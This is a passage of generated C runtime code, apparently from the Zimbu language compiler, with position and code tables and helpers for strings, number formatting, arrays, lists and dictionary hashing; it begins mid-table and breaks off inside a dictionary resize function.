{15,20}, {16,27}, {17,20}, {20,20}, {21,27}, {22,20}, {25,20}, {26,20}, {29,20}, {30,20}, {33,20}, {34,20}, {37,20}, {38,34}, {39,27}, {40,20}, {43,28}, {44,20}, {45,20}, {48,35}, {49,20}, {52,15}, {3,9}, {57,9}, {58,11}, {61,20}, {62,20}, {65,20}, {66,20}, {69,20}, {70,27}, {71,20}, {74,20}, {75,27}, {76,20}, {79,20}, {80,20}, {83,20}, {84,20}, {87,20}, {88,20}, {91,20}, {92,34}, {93,27}, {94,20}, {97,28}, {98,20}, {99,20}, {102,35}, {103,20}, {106,15}, {0,5}, {112,12}, }; Tc Y6Nc[]="Proto.getBinaryTagSize()"; Tcpos ZcTbl49599[]={ {326,35}, {1,12}, }; Tc YAt_[]="Proto.getVarIntSize()"; Tcpos ZcTbl36994[]={ {1751,5}, {2,14}, {4,5}, {5,14}, {7,5}, {8,14}, {10,17}, {11,5}, {12,7}, {11,5}, {17,12}, }; Tc YufP[]="Proto.writeMessageText()"; Tcpos ZcTbl64912[]={ {982,21}, {1,5}, {2,7}, }; Tc YleD[]="Proto.writeMessageText/1()"; Tcpos ZcTbl71988[]={ {990,21}, {1,5}, {2,7}, }; Tc Yutk[]="Proto.writeOneTextField()"; Tcpos ZcTbl94729[]={ {867,38}, {1,5}, {2,7}, {4,5}, {5,7}, {7,5}, {8,5}, {12,9}, {13,13}, {15,13}, {17,9}, {20,9}, {21,13}, {23,13}, {25,9}, {28,9}, {29,13}, {31,13}, {33,9}, {36,9}, {37,13}, {39,13}, {41,9}, {44,9}, {45,13}, {47,13}, {49,9}, {52,9}, {53,13}, {55,13}, {57,9}, {60,9}, {61,13}, {63,13}, {65,9}, {68,9}, {69,13}, {71,13}, {73,9}, {75,9}, {77,11}, {78,15}, {80,15}, {82,11}, {85,9}, {86,16}, {88,16}, {90,9}, {92,9}, {93,37}, {94,9}, {95,30}, {97,9}, {98,11}, {100,11}, {102,28}, {103,9}, {104,11}, {106,9}, {108,9}, }; Tc Yw9e[]="Proto.writeText()"; Tcpos ZcTbl19299[]={ {841,5}, {1,7}, {3,5}, {4,7}, {7,21}, {8,19}, {9,7}, {11,7}, {12,9}, {13,23}, {14,11}, {15,13}, {14,11}, {17,20}, {18,11}, {11,7}, }; Tc Ym1t[]="Z.Pos.ToString()"; Tcpos ZcTbl18187[]={ {83,11}, {1,27}, {2,7}, {3,9}, {5,9}, {7,7}, {8,7}, {9,7}, {10,7}, {11,16}, }; Tc YBc8[]="Zimbu.Config"; Tcpos ZcTbl74691[]={ {606,29}, }; Tc Y4yh[]="Zimbu.Config.NEW()"; Tcpos ZcTbl27632[]={ {8,5}, }; Tcode ZcodeTable[]={ {412,Yt1T,YxLq,ZcTbl412}, {1872,Yay0,YNFk,ZcTbl1872}, {5270,YTYp,Y9QD,ZcTbl5270}, {5271,YTYp,Y9QD,ZcTbl5271}, {5781,Y_hM,Yv8D,ZcTbl5781}, {5951,Y_hM,Y7VA,ZcTbl5951}, {6308,Yt1T,YR5_,ZcTbl6308}, {7452,Yay0,Ys1a,ZcTbl7452}, {10613,Yt1T,YCbo,ZcTbl10613}, {11217,Yt1T,YoZS,ZcTbl11217}, {12469,YxTh,YnDn,ZcTbl12469}, {13235,Y_hM,YnCh,ZcTbl13235}, {13666,YxTh,YlSz,ZcTbl13666}, {14715,Yt1T,Y4SL,ZcTbl14715}, {15718,Yt1T,YEFs,ZcTbl15718}, {16247,Y_hM,YQ25,ZcTbl16247}, {18187,Y3zM,Ym1t,ZcTbl18187}, {19299,YxTh,Yw9e,ZcTbl19299}, {21418,Yt1T,YtpQ,ZcTbl21418}, {21451,Y_hM,YGC4,ZcTbl21451}, {23436,Y_hM,Yibk,ZcTbl23436}, {24916,Yt1T,Y9iJ,ZcTbl24916}, {25401,Y_hM,YiT7,ZcTbl25401}, {25958,Yt1T,Y4vu,ZcTbl25958}, {26448,Y_hM,YVt3,ZcTbl26448}, {27632,Y0hD,Y4yh,ZcTbl27632}, {29585,Yt1T,YAVe,ZcTbl29585}, {30096,Y_hM,YMHx,ZcTbl30096}, {30532,YxTh,Y1Hw,ZcTbl30532}, {31652,Y_hM,YBb7,ZcTbl31652}, {32086,Yt1T,Y1As,ZcTbl32086}, {32956,YxTh,YlQ3,ZcTbl32956}, {35088,Yt1T,YcIS,ZcTbl35088}, {36159,Yt1T,Y_4w,ZcTbl36159}, {36491,Yt1T,YYT9,ZcTbl36491}, {36994,YxTh,YAt_,ZcTbl36994}, {37884,YxTh,YGqq,ZcTbl37884}, {40297,Y_hM,YHgA,ZcTbl40297}, {42983,Yt1T,Y9aV,ZcTbl42983}, {43124,Yt1T,Ygil,ZcTbl43124}, {44130,Yt1T,YG80,ZcTbl44130}, {45061,Y_hM,YKxu,ZcTbl45061}, {45289,Yt1T,Y7gV,ZcTbl45289}, {46171,Yt1T,Y9VX,ZcTbl46171}, {46312,Yt1T,YPz2,ZcTbl46312}, {46761,Yay0,YN2v,ZcTbl46761}, {48299,Yt1T,Y9Cv,ZcTbl48299}, {49183,Yt1T,YgcH,ZcTbl49183}, {49599,YxTh,Y6Nc,ZcTbl49599}, {52386,Yt1T,YgcM,ZcTbl52386}, {53325,Yt1T,YlJi,ZcTbl53325}, {53377,Yt1T,Yp81,ZcTbl53377}, {54331,Yt1T,YLzZ,ZcTbl54331}, {55262,Y_hM,YF6w,ZcTbl55262}, {56372,Yt1T,Y4u_,ZcTbl56372}, {59819,Yay0,YGQL,ZcTbl59819}, {60593,Yt1T,Y5LR,ZcTbl60593}, {63483,Yt1T,Yuzo,ZcTbl63483}, {64531,Yay0,YrJP,ZcTbl64531}, {64912,YxTh,YufP,ZcTbl64912}, {70530,Yt1T,Yu0r,ZcTbl70530}, {70833,Yt1T,YWEC,ZcTbl70833}, {71563,Yay0,YZKb,ZcTbl71563}, {71988,YxTh,YleD,ZcTbl71988}, {72007,Yay0,YzQB,ZcTbl72007}, {73471,Yt1T,Y_Qs,ZcTbl73471}, {73580,Yt1T,YF6S,ZcTbl73580}, {73684,Yt1T,Yz_l,ZcTbl73684}, {74691,Y0hD,YBc8,ZcTbl74691}, {75882,Y_hM,YOLm,ZcTbl75882}, {77282,Y_hM,YRsF,ZcTbl77282}, {78082,Yt1T,YbzA,ZcTbl78082}, {79218,Y_hM,Y51G,ZcTbl79218}, {79794,Y_hM,Ylvo,ZcTbl79794}, {80644,Yt1T,YobA,ZcTbl80644}, {80731,Yt1T,Yzrp,ZcTbl80731}, {81580,Yay0,Y5X7,ZcTbl81580}, {81627,Y_hM,YV4L,ZcTbl81627}, {82618,Yay0,Yxlj,ZcTbl82618}, {85000,Yt1T,Ycb9,ZcTbl85000}, {86083,Y_hM,YJkp,ZcTbl86083}, {86818,Yt1T,YlgI,ZcTbl86818}, {87235,Yt1T,YR5m,ZcTbl87235}, {87483,Y_hM,YWTC,ZcTbl87483}, {89685,Yt1T,Y59h,ZcTbl89685}, {89987,Yay0,YCbR,ZcTbl89987}, {90679,YxTh,YI64,ZcTbl90679}, {92163,Yt1T,YTjU,ZcTbl92163}, {94729,YxTh,Yutk,ZcTbl94729}, {94823,Yay0,Yj_J,ZcTbl94823}, {95580,Y_hM,YqIG,ZcTbl95580}, {95750,Y_hM,Y2uD,ZcTbl95750}, {96107,Yt1T,YMF2,ZcTbl96107}, {97019,Yt1T,YgQK,ZcTbl97019}, {99886,Yt1T,Y0Jk,ZcTbl99886}, }; #ifdef SIGSEGV void Zdeadly(int nr) { ZthrowDeadly(nr); } #endif void ZthreadGC() { } Ti ZstringSizePtr(Tc *s, Tc **dp) { Tc *p; Ti len; p = s + ZOH_OFF; if ((*p & 0x80) == 0) { /* be quick for short string */ *dp = p + 1; return *p; } len = *p & 0x7f; ++p; while ((*p & 0x80) != 0) { len = (len << 7) + (*p & 0x7f); ++p; } *dp = p + 1; return (len << 7) + *p; } void ZthrowCstringNil(char *text) { YvdV(NULL, Zstr(text)); } void ZthrowThisNil() { YvdV(NULL, Zstr("THIS is NIL")); } void ZthrowCstringInit(char *text) { Y3w6(Zstr(text)); } void ZthrowOutOfMemory(Ti size) { Y1KV(size); } void ZthrowCstringBadValue(char *msg) { Yaez(Zstr(msg)); } void ZthrowDeadly(int nr) { YE93((Ti)nr); } void ZthrowInternal(Tc *text) { YUSH(NULL, text); } /* concat string */ Tc *ZcS(Tc *l, Tc *ri) { Tc *l_p; Ti l_len; Tc *r_p; Ti r_len; Ti len; Tc *pp; Tc *r; if (l == NULL) {l_len = 3; l_p = (Tc*)"NIL";} else l_len = ZstringSizePtr(l, &l_p); if (ri == NULL) {r_len = 3; r_p = (Tc*)"NIL";} else r_len = ZstringSizePtr(ri, &r_p); len = l_len + r_len; r = ZnewStringInit(len, &pp); memmove(pp, l_p, l_len); memmove(pp + l_len, r_p, r_len); return r; } /* concat string */ Tc *ZcS3(Tc *s1, Tc *s2, Tc *s3) { Tc *p1; Ti len1; Tc *p2; Ti len2; Tc *p3; Ti len3; Ti len; Tc *pp; Tc *r; if (s1 == NULL) {len1 = 3; p1 = (Tc*)"NIL";} else len1 = ZstringSizePtr(s1, &p1); if (s2 == NULL) {len2 = 3; p2 = (Tc*)"NIL";} else len2 = ZstringSizePtr(s2, &p2); if (s3 == NULL) {len3 = 3; p3 = (Tc*)"NIL";} else len3 = ZstringSizePtr(s3, &p3); len = len1 + len2 + len3; r = ZnewStringInit(len, &pp); memmove(pp, p1, len1); memmove(pp + len1, p2, len2); memmove(pp + len1 + len2, p3, len3); return r; } /* concat string */ Tc *ZcS5(Tc *s1, Tc *s2, Tc *s3, Tc *s4, Tc *s5) { Tc *p1; Ti len1; Tc *p2; Ti len2; Tc *p3; Ti len3; Tc *p4; Ti len4; Tc *p5; Ti len5; Ti len; Tc *pp; Tc *r; if (s1 == NULL) {len1 = 3; p1 = (Tc*)"NIL";} else len1 = ZstringSizePtr(s1, &p1); if (s2 == NULL) {len2 = 3; p2 = (Tc*)"NIL";} else len2 = ZstringSizePtr(s2, &p2); if (s3 == NULL) {len3 = 3; p3 = (Tc*)"NIL";} else len3 = ZstringSizePtr(s3, &p3); if (s4 == NULL) {len4 = 3; p4 = (Tc*)"NIL";} else len4 = ZstringSizePtr(s4, &p4); if (s5 == (Tc*)1) len5 = 0; else if (s5 == NULL) {len5 = 3; p5 = (Tc*)"NIL";} else len5 = ZstringSizePtr(s5, &p5); len = len1 + len2 + len3 + len4 + len5; r = ZnewStringInit(len, &pp); memmove(pp, p1, len1); memmove(pp + len1, p2, len2); memmove(pp + len1 + len2, p3, len3); memmove(pp + len1 + len2 + len3, p4, len4); if (s5 != (Tc*)1) memmove(pp + len1 + len2 + len3 + len4, p5, len5); return r; } /* concat string */ Tc *ZcS8(Tc *s1, Tc *s2, Tc *s3, Tc *s4, Tc *s5, Tc *s6, Tc *s7, Tc *s8) { Tc *p[8]; Ti len[8]; Ti totlen = 0; Tc *pp; Tc *r; int i; if (s1 == NULL) {len[0] = 3; p[0] = (Tc*)"NIL";} else len[0] = ZstringSizePtr(s1, &p[0]); if (s2 == NULL) {len[1] = 3; p[1] = (Tc*)"NIL";} else len[1] = ZstringSizePtr(s2, &p[1]); if (s3 == NULL) {len[2] = 3; p[2] = (Tc*)"NIL";} else len[2] = ZstringSizePtr(s3, &p[2]); if (s4 == NULL) {len[3] = 3; p[3] = (Tc*)"NIL";} else len[3] = ZstringSizePtr(s4, &p[3]); if (s5 == NULL) {len[4] = 3; p[4] = (Tc*)"NIL";} else len[4] = ZstringSizePtr(s5, &p[4]); if (s6 == NULL) {len[5] = 3; p[5] = (Tc*)"NIL";} else len[5] = ZstringSizePtr(s6, &p[5]); if (s7 == (Tc*)1) len[6] = 0; else if (s7 == NULL) {len[6] = 3; p[6] = (Tc*)"NIL";} else len[6] = ZstringSizePtr(s7, &p[6]); if (s8 == (Tc*)1) len[7] = 0; else if (s8 == NULL) {len[7] = 3; p[7] = (Tc*)"NIL";} else len[7] = ZstringSizePtr(s8, &p[7]); for (i = 0; i < 8; ++i) totlen += len[i]; r = ZnewStringInit(totlen, &pp); totlen = 0; for (i = 0; i < 8; ++i) { memmove(pp + totlen, p[i], len[i]); totlen += len[i]; } return r; } Tr Zao(void *ptr, Tc **table, Ti type) { Tr tr; tr.ptr = ptr; tr.table = table; tr.type = type; return tr; } /* fill not-allocated object reference */ Tr *Znao(Tr *p, void *ptr, Tc **table, Ti type) { p->ptr = ptr; p->table = table; p->type = type; return p; } Tr ZconvertZioref(Tr orig, Tc ***table, int type, int maxType, Ti pos) { Tr p; if (orig.ptr == NULL) p.ptr = NULL; else { if (orig.type < type || orig.type >= maxType) YTuG(pos); p.ptr = orig.ptr; p.type = orig.type - type; p.table = table[p.type]; } return p; } void *Zio(int type, Ti pos, Tr *p) { void *r; if (p == NULL || p->ptr == NULL) r = NULL; else { if (p->type != type) YTuG(pos); r = p->ptr; } return r; } void *Znio(int type, Ti pos, Tr tr) { void *r; if (tr.ptr == NULL) r = NULL; else { if (tr.type != type) YTuG(pos); r = tr.ptr; } return r; } Ti ZbyteStringSize(Tc *s) { Tc *p; Ti len; if (s == NULL) return 0; p = s + ZOH_OFF; if ((*p & 0x80) == 0) { return *p; /* be quick for short string */ } len = *p & 0x7f; ++p; while ((*p & 0x80) != 0) { len = (len << 7) + (*p & 0x7f); ++p; } return (len << 7) + *p; } Tc *Zint2string(Ti n) { char buf[30]; char *p; int len; sprintf(buf, ZINT_FORMAT, n); len = (int)strlen(buf); p = Za(ZOH_OFF + len + 2); p[ZOH_OFF] = len; strcpy(p + ZOH_OFF + 1, buf); return (Tc*)p; } #ifdef __MINGW32__ void ZcorrFloatStr(char *buf, char *fmt) { size_t len = strlen(buf); if (len > 5 && buf[len - 3] == '0' && (buf[len - 5] == 'e' || buf[len - 5] == 'E')) { if (fmt != NULL && isdigit(fmt[1]) && strchr(fmt, '.') > 0 && atoi(fmt + 1) >= strlen(buf)) { memcpy(buf + 1, buf, len - 2); buf[0] = ' '; } else { buf[len - 3] = buf[len - 2]; buf[len - 2] = buf[len - 1]; buf[len - 1] = 0; } } else if (strcmp(buf, "1.#INF") == 0) { strcpy(buf, "inf"); } else if (strcmp(buf, "-1.#INF") == 0) { strcpy(buf, "-inf"); } else if (strcmp(buf, "1.#QNAN") == 0) { strcpy(buf, "nan"); } } #endif Tc *ZfloatFormat(Tc *fmt, Tf n) { char fmtbuf[100]; char buf[100]; char *p; int len; Tc *fmtp; if (fmt == NULL) ZthrowCstringNil("ToString(): format is NIL"); if (ZstringSizePtr(fmt, &fmtp) > 90) { ZthrowCstringBadValue("ToString(): format too long"); } sprintf(fmtbuf, "%%%s", fmtp); #ifdef __MINGW32__ len = (int)strlen(fmtbuf); if (fmtbuf[len - 1] == 'F') fmtbuf[len - 1] = 'f'; #endif sprintf(buf, fmtbuf, n); #ifdef __MINGW32__ ZcorrFloatStr(buf, fmtbuf); #endif len = (int)strlen(buf); p = Za(ZOH_OFF + len + 2); p[ZOH_OFF] = len; strcpy(p + ZOH_OFF + 1, buf); return (Tc*)p; } Tc *Zenum2string(char **names, Te n) { return Zstr((n < 0 || n >= (Te)(size_t)names[0]) ? "INVALID" : names[n + 1]); } char *ZgetCstring(Tc *s) { Tc *p; if (s == NULL) return NULL; p = s + ZOH_OFF; while ((*p & 0x80) != 0) ++p; return (char *)p + 1; } void ZforRangeNew(Ti start, Ti last, int until, Ti step, Tfr *s) { s->idx = start; if (until) s->last = last - (step > 0 ? 1 : -1); else s->last = last; s->step = step; } void ZforRangeGetInt(Tfr *s, Ti *p) { *p = s->idx; } int ZforRangeContInt(Tfr *s) { return s->step > 0 ? (s->idx <= s->last) : (s->idx >= s->last); } void ZforRangeNextInt(Tfr *s, Ti *p) { s->idx += s->step; ZforRangeGetInt(s, p); } void ZthrowIobject(Tr eo) { YxIS(eo); } int ZstringCmp(Tc *s1, Tc *s2) { Tc *p1; Tc *p2; Ti len1; Ti len2; int r; if (s1 == NULL || s2 == NULL) { if (s1 == NULL && s2 == NULL) r = 0; else r = 1; goto end; } if (s1[ZOH_OFF] != s2[ZOH_OFF]) { r = 1; goto end; } len1 = ZstringSizePtr(s1, &p1); len2 = ZstringSizePtr(s2, &p2); if (len1 == len2) { r = memcmp(p1, p2, len1); goto end; } r = 1; end: return r; } int ZcopyItems(Tt *toType, int toSize, void *toPtr, Ti toOff, Tt *fromType, int fromSize, void *fromPtr, Ti fromOff, Ti len) { Ti i; if (toType == fromType || (toType->nr >= 100 && fromType->nr >= 100)) { memmove((char*)toPtr + toOff * toSize, (char*)fromPtr + fromOff * fromSize, len * toSize); return 1; } if (fromType->nr >= 100 || toType->nr >= 100) return 0; for (i = 0; i < len; ++i) { Ti iv; Tf fv; switch (fromType->nr) { case 0: case 24: case 25: iv = ((Ti*)fromPtr)[fromOff + i]; fv = iv; break; case 1: iv = ((char*)fromPtr)[fromOff + i]; fv = iv; break; case 2: iv = ((Ti16*)fromPtr)[fromOff + i]; fv = iv; break; case 3: iv = ((Ti32*)fromPtr)[fromOff + i]; fv = iv; break; case 10: iv = ((Tu*)fromPtr)[fromOff + i]; fv = iv; break; case 11: iv = ((Tc*)fromPtr)[fromOff + i]; fv = iv; break; case 12: iv = ((Tu16*)fromPtr)[fromOff + i]; fv = iv; break; case 13: iv = ((Tu32*)fromPtr)[fromOff + i]; fv = iv; break; case 21: case 22: case 23: iv = ((int*)fromPtr)[fromOff + i]; fv = iv; break; case 80: case 82: case 83: fv = ((Tf*)fromPtr)[fromOff + i]; iv = fv; break; case 81: fv = ((Tf32*)fromPtr)[fromOff + i]; iv = fv; break; } switch (toType->nr) { case 0: case 10: case 24: case 25: ((Ti*)toPtr)[toOff + i] = iv; break; case 1: case 11: ((char*)toPtr)[toOff + i] = iv; break; case 2: case 12: ((Ti16*)toPtr)[toOff + i] = iv; break; case 3: case 13: ((Ti32*)toPtr)[toOff + i] = iv; break; case 21: case 22: case 23: ((int*)toPtr)[toOff + i] = iv; break; case 80: case 82: case 83: ((Tf*)toPtr)[toOff + i] = fv; break; case 81: ((Tf32*)toPtr)[toOff + i] = fv; break; } } return 1; } void ZfreeArray(Ta *head) { Ti i; Ti d; if (head == NULL) return; if (head->ptr && head->ptr != head + 1) { Zfree(head->ptr - ZOH_OFF); } Zfree(head); } Ta *ZArrayInit(Ta *head, Tt *itemType, int itemSize, Ti size) { head->ptr = ZaOff(itemSize * size); head->dim = 1; head->size[0] = size; head->itemType = itemType; head->itemSize = itemSize; return head; } Ta *ZnewArray(Tt *itemType, int itemSize, Ti size) { Ta *head; size_t extra = size * itemSize; if (extra > 100) extra = 0; head = Za(sizeof(Ta) + extra); if (extra == 0) { head->ptr = ZaOff(itemSize * size); } else head->ptr = head + 1; head->dim = 1; head->size[0] = size; head->itemType = itemType; head->itemSize = itemSize; return head; } Ti ZArraySize(Ta *head) { Ti r; if (head == NULL) r = 0; else r = head->size[0]; return r; } Ta *Zas(Ta *head, void *vals, int type, Ti offset) { int len; int i; if (head == NULL) ZthrowCstringNil("Invoking set() on NIL array"); if (type == 0) { /* vals is a byteString */ Tc *p; len = ZstringSizePtr(vals, &p); if (len > head->size[0] - offset) len = head->size[0] - offset; if (head->itemSize == 1) { memmove(((Tc*)head->ptr) + offset, p, len); } else if (head->itemSize == sizeof(Te)) { for (i = 0; i < len; ++i) ((Te*)head->ptr)[i + offset] = p[i]; } else { for (i = 0; i < len; ++i) ((Ti*)head->ptr)[i + offset] = p[i]; } } else if (type == 1) { /* vals is an array */ Ta *from = vals; len = from->size[0]; if (len > head->size[0] - offset) len = head->size[0] - offset; ZcopyItems(head->itemType, head->itemSize, head->ptr, offset, from->itemType, from->itemSize, from->ptr, 0, len); } else { /* vals is a list */ Tl *from = (Tl*)vals; Ti count = from->itemCount; if (count > offset + head->size[0]) count = offset + head->size[0]; ZcopyItems(head->itemType, head->itemSize, head->ptr, offset, from->itemType, from->itemSize, from->items, from->empty, count); } return head; } Ta *ZarrayResize(Ta *head, int bytes, Ti size) { if (head == NULL) ZthrowCstringNil("Invoking resize() on NIL array"); if (head->ptr == head + 1) { head->ptr = ZaOff(bytes * size); memmove(head->ptr, head + 1, size > head->size[0] ? bytes * head->size[0] : bytes * size); } else head->ptr = ZranOff(head->ptr, bytes * head->size[0], bytes * size); head->size[0] = size; return head; } Ti ZListFindIdx(Tl *head, Ti idx) { if (head == NULL) ZthrowCstringNil("Accessing NIL list"); if (idx < 0) { Ti n = head->itemCount + idx; if (n < 0) return n; return n + head->empty; } if (idx >= head->itemCount) return -1; return idx + head->empty; } void ZListSetType(Tl* head, Tt *itemType) { head->itemType = itemType; if (itemType == NULL) ZthrowCstringNil("Creating list without type"); switch (itemType->nr) { case 0: case 10: case 80: case 82: case 83: case 24: case 25: head->itemSize = 8; break; case 1: case 11: head->itemSize = 1; break; case 12: case 2: head->itemSize = 2; break; case 3: case 13: case 81: head->itemSize = 4; break; case 21: case 22: case 23: head->itemSize = sizeof(int); break; case 391: head->itemSize = sizeof(Tr); break; default: head->itemSize = sizeof(void*); break; } } Tl *ZnewList(Tt *itemType, Ti size) { int alloc = size > ((itemType->nr == 1 || itemType->nr == 11) ? 64 : 8); int extraSize = itemType != NULL && itemType->nr == 391 ? 8 * sizeof(Tr) : 64; Tl *head = Za(sizeof(Tl) + (alloc ? 0 : extraSize)); ZListSetType(head, itemType); if (alloc) { head->items = ZaOff(head->itemSize * size); head->space = size; } else { head->items = (void**)(head + 1); head->space = extraSize / head->itemSize; } return head; } void ZListGrow(Tl *head, Ti count) { Ti newsize = head->empty + head->itemCount + count; if (newsize <= head->space) return; if (newsize < 100) { newsize += (newsize >> 2) + 7; } else { newsize += newsize >> 3; } if (head->items == (void**)(head + 1)) { head->items = ZaOff(head->itemSize * newsize); memmove(head->items, head + 1, head->itemSize * head->itemCount); } else { head->items = ZranOff(head->items, head->itemSize * head->space, head->itemSize * newsize); } head->space = newsize; } Tl *ZLa(Tl *head, Ti after, Tz val) { Ti nAfter; Ti idx; Ti len; if (head == NULL) ZthrowCstringNil("Attempt to append to NIL list"); ZListGrow(head, 1); if (after < 0) { nAfter = head->itemCount + after; if (nAfter < 0) nAfter = -1; } else { nAfter = after; if (nAfter >= head->itemCount) nAfter = head->itemCount - 1; } idx = nAfter + head->empty + 1; len = head->itemCount - nAfter - 1; switch (head->itemType->nr) { case 0: case 10: case 24: case 25: if (len > 0 && idx >= head->empty) memmove(((Ti*)head->items) + idx + 1, ((Ti*)head->items) + idx, head->itemSize * len); ((Ti*)head->items)[idx] = val.ival; break; case 1: case 11: if (len > 0 && idx >= head->empty) memmove(((char*)head->items) + idx + 1, ((char*)head->items) + idx, head->itemSize * len); ((char*)head->items)[idx] = val.ival; break; case 12: case 2: if (len > 0 && idx >= head->empty) memmove(((Ti16*)head->items) + idx + 1, ((Ti16*)head->items) + idx, head->itemSize * len); ((Ti16*)head->items)[idx] = val.ival; break; case 3: case 13: if (len > 0 && idx >= head->empty) memmove(((Ti32*)head->items) + idx + 1, ((Ti32*)head->items) + idx, head->itemSize * len); ((Ti32*)head->items)[idx] = val.ival; break; case 21: case 22: case 23: if (len > 0 && idx >= head->empty) memmove(((int*)head->items) + idx + 1, ((int*)head->items) + idx, head->itemSize * len); ((int*)head->items)[idx] = val.ival; break; case 80: case 82: case 83: if (len > 0 && idx >= head->empty) memmove(((Tf*)head->items) + idx + 1, ((Tf*)head->items) + idx, head->itemSize * len); ((Tf*)head->items)[idx] = val.fval; break; case 81: if (len > 0 && idx >= head->empty) memmove(((Tf32*)head->items) + idx + 1, ((Tf32*)head->items) + idx, head->itemSize * len); ((Tf32*)head->items)[idx] = val.fval; break; default: if (len > 0 && idx >= head->empty) memmove(head->items + idx + 1, head->items + idx, head->itemSize * len); head->items[idx] = val.ptr; break; } ++head->itemCount; return head; } Tl *ZLap(Tl *head, Tz val) { return ZLa(head, -1, val); } Tl *ZLaIobj(Tl *head, Ti after, Tr val) { Ti nAfter; Ti idx; Ti len; if (head == NULL) ZthrowCstringNil("Attempt to append to NIL list"); ZListGrow(head, 1); if (after < 0) { nAfter = head->itemCount + after; if (nAfter < 0) nAfter = -1; } else { nAfter = after; if (nAfter >= head->itemCount) nAfter = head->itemCount - 1; } idx = nAfter + head->empty + 1; len = head->itemCount - nAfter - 1; if (len > 0 && idx >= head->empty) memmove((Tr*)head->items + idx + 1, (Tr*)head->items + idx, head->itemSize * len); ((Tr*)head->items)[idx] = val; ++head->itemCount; return head; } Tl *ZLapIobj(Tl *head, Tr val) { return ZLaIobj(head, -1, val); } Ti ZListGetInt(Tl *head, Ti idx) { Ti r; Ti n = ZListFindIdx(head, idx); if (n >= 0) { switch (head->itemType->nr) { case 0: case 24: case 25: r = ((Ti*)head->items)[n]; break; case 10: r = (Ti)((Tu*)head->items)[n]; break; case 1: r = ((char*)head->items)[n]; break; case 11: r = (Ti)((Tc*)head->items)[n]; break; case 2: r = ((Ti16*)head->items)[n]; break; case 12: r = (Ti)((Tu16*)head->items)[n]; break; case 3: r = ((Ti32*)head->items)[n]; break; case 13: r = (Ti)((Tu32*)head->items)[n]; break; case 21: case 22: case 23: r = ((int*)head->items)[n]; break; } } else r = 0; return r; } Tf ZListGetFloat(Tl *head, Ti idx) { Tf r; Ti n = ZListFindIdx(head, idx); if (n >= 0) { switch (head->itemType->nr) { case 80: case 82: case 83: r = ((Tf*)head->items)[n]; break; case 81: r = (Tf)((Tf32*)head->items)[n]; break; } } else r = 0; return r; } int ZforListPtrCont(Tfl *tfl) { Tl *l = tfl->l; Ti i = tfl->i; if (l == NULL || i >= l->itemCount) return 0; *(char**)tfl->valp = l->items[i + l->empty]; ++tfl->i; return 1; } int ZDeqNr(Tz *l, Tz *r) { return l->ival == r->ival; } int ZDeqFloat(Tz *l, Tz *r) { return l->fval == r->fval; } int ZDeqStr(Tz *l, Tz *r) { Tc *p1; Tc *p2; Ti len1; Ti len2; if (r->ptr != NULL) { len1 = ZstringSizePtr(l->ptr, &p1); len2 = ZstringSizePtr(r->ptr, &p2); if (len1 == len2) return memcmp(p1, p2, len1) == 0; } return 0; } int ZDeqRef(Tz *l, Tz *r) { return l->ptr == r->ptr; } int ZDeqIobj(Tr *l, Tz *r) { return l->ptr == ((Tr*)r->ptr)->ptr; } Td *ZDictHead(Td *d, Tt *keyType, Tt *itemType, Tb ordered) { d->array = d->smallArray; d->mask = HT_INIT_SIZE - 1; d->keyType = keyType; d->itemType = itemType; if (itemType == NULL) ZthrowCstringNil("Creating dict without item type"); if (keyType == NULL) ZthrowCstringNil("Creating dict without key type"); if (ordered) d->type = DTYPE_ORDERED; if (keyType->nr < 80) d->eqfunc = (int (*)(void*, Tz*))ZDeqNr; else if (keyType->nr < 100) d->eqfunc = (int (*)(void*, Tz*))ZDeqFloat; else if (keyType == &iobj__T) d->eqfunc = (int (*)(void*, Tz*))ZDeqIobj; else if (keyType == &string__T || keyType == &byteString__T) d->eqfunc = (int (*)(void*, Tz*))ZDeqStr; else d->eqfunc = (int (*)(void*, Tz*))ZDeqRef; return d; } Td *ZDictInit(Td *d, Tt *keyType, Tt *itemType, Tb ordered) { memset(d, 0, sizeof(Td)); ZDictHead(d, keyType, itemType, ordered); return d; } Td *ZnewDict(Tt *keyType, Tt *itemType, Tb ordered) { return ZDictHead(Za(sizeof(Td)), keyType, itemType, ordered); } Zhashtype ZDictHash(Tt *keyType, Tz key) { Zhashtype hash; void *ptr; if (keyType->nr < 80) return (Zhashtype)key.ival; if (keyType->nr < 100) return (Zhashtype)key.fval; if (keyType == &iobj__T) { ptr = ((Tr*)key.ptr)->ptr; } else { ptr = key.ptr; } if (ptr == NULL) ZthrowCstringNil("dict key is NIL"); if (keyType == &string__T || keyType == &byteString__T) { Tc *p; int l = ZstringSizePtr(key.ptr, &p); if (l == 0) { hash = 0; } else { hash = *p; while (--l > 0) { hash = hash * 101 + *++p; } } } else { Tip k = (Tip)ptr; int l = sizeof(Tc*); hash = k & 0xff; while (--l > 0) { k >>= 8; hash = hash * 101 + (k & 0xff); } } return hash; } void ZthrowIntKeyNotFound(Tz key, Tc *msg) { Yxmk(key.ival, msg); } void ZthrowStringKeyNotFound(Tz key, Tc *msg) { Y5LT(key.ptr, msg); } void ZthrowIntKeyExists(Tz key, Tc *msg) { YL9Z(key.ival, msg); } void ZthrowStringKeyExists(Tz key, Tc *msg) { YEeX(key.ptr, msg); } /* #define DICT_DEBUG 1 */ CDictItem *ZDictLookup(Td *d, Tz key, Zhashtype hash) { Zhashtype perturb; CDictItem *freeitem; int idx = (int)(hash & d->mask); CDictItem *di = &d->array[idx]; if (di->flags == 0) return di; if (di->flags == CDI_FLAG_DEL) freeitem = di; else if (di->hash == hash && d->keyType == &iobj__T ? d->eqfunc(&di->iokey, &key) : d->eqfunc(&di->key, &key)) { return di; } else { freeitem = NULL; } for (perturb = hash; ; perturb >>= PERTURB_SHIFT) { idx = (int)((idx << 2) + idx + perturb + 1); di = &d->array[idx & d->mask]; if (di->flags == 0) return freeitem == NULL ? di : freeitem; if (di->hash == hash && di->flags != CDI_FLAG_DEL && d->keyType == &iobj__T ? d->eqfunc(&di->iokey, &key) : d->eqfunc(&di->key, &key)) return di; if (di->flags == CDI_FLAG_DEL && freeitem == NULL) freeitem = di; } } void ZDictResize(Td *d, int minitems) { CDictItem temparray[HT_INIT_SIZE]; CDictItem *oldarray, *newarray; CDictItem *olditem, *newitem, *nextitem; int newi; int todo; Zhashtype oldsize, newsize; Zhashtype minsize; Zhashtype newmask; Zhashtype perturb; #ifdef DICT_DEBUG printf("size: %lu, filled: %lu, used: %lu\n", d->mask + 1, d->filled, d->used); #endif if (minitems == 0) { if (d->filled < HT_INIT_SIZE - 1 && d->array == d->smallArray) { #ifdef DICT_DEBUG printf("small array not full\n"); #endif return; } 